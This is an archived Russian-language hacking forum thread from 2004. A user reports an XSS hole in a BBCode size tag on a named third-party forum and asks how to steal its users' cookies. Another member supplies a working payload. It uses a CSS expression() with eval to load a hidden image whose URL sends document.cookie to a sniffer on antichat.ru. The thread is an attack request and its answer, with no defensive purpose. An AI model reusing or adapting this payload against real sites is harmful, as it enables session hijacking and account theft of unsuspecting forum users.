PDA

Просмотр полной версии : Нашел XSS в теге site. Какой запрос надо вставить, что бы получить куки юзеров?


Sky
02.11.2004, 23:44
В одном форуме есть XSS в теге size рабочий пример:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">[size=expression(alert(document.cookie))]lol[/size][/QUOTE]<span id='postcolor'> подскажите пожалуйста какой запрос надо вставить что бы получить куки юзеров к вам на снифер.

Algol
03.11.2004, 22:14
Адрес приведи...
Или мы гадать должны какие там фильтры стоят ?

Sky
04.11.2004, 00:06
Извини вот адрес:
http://www.lewismedia.com/forums/index.php
P.S Если не лень подскажи где можно почитать про XSS очень интересная тема спасибо.

Algol
04.11.2004, 15:02
Вот такое работает
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
[size=expression(eval(this.innerText))]if(this.sss ==null){i=new Image();i.src="http:/"+"/antichat.ru/cgi-bin/s.jpg?"+document.cookie;this.sss=11;this.style.dis play="none"}[/size]
[/QUOTE]<span id='postcolor'>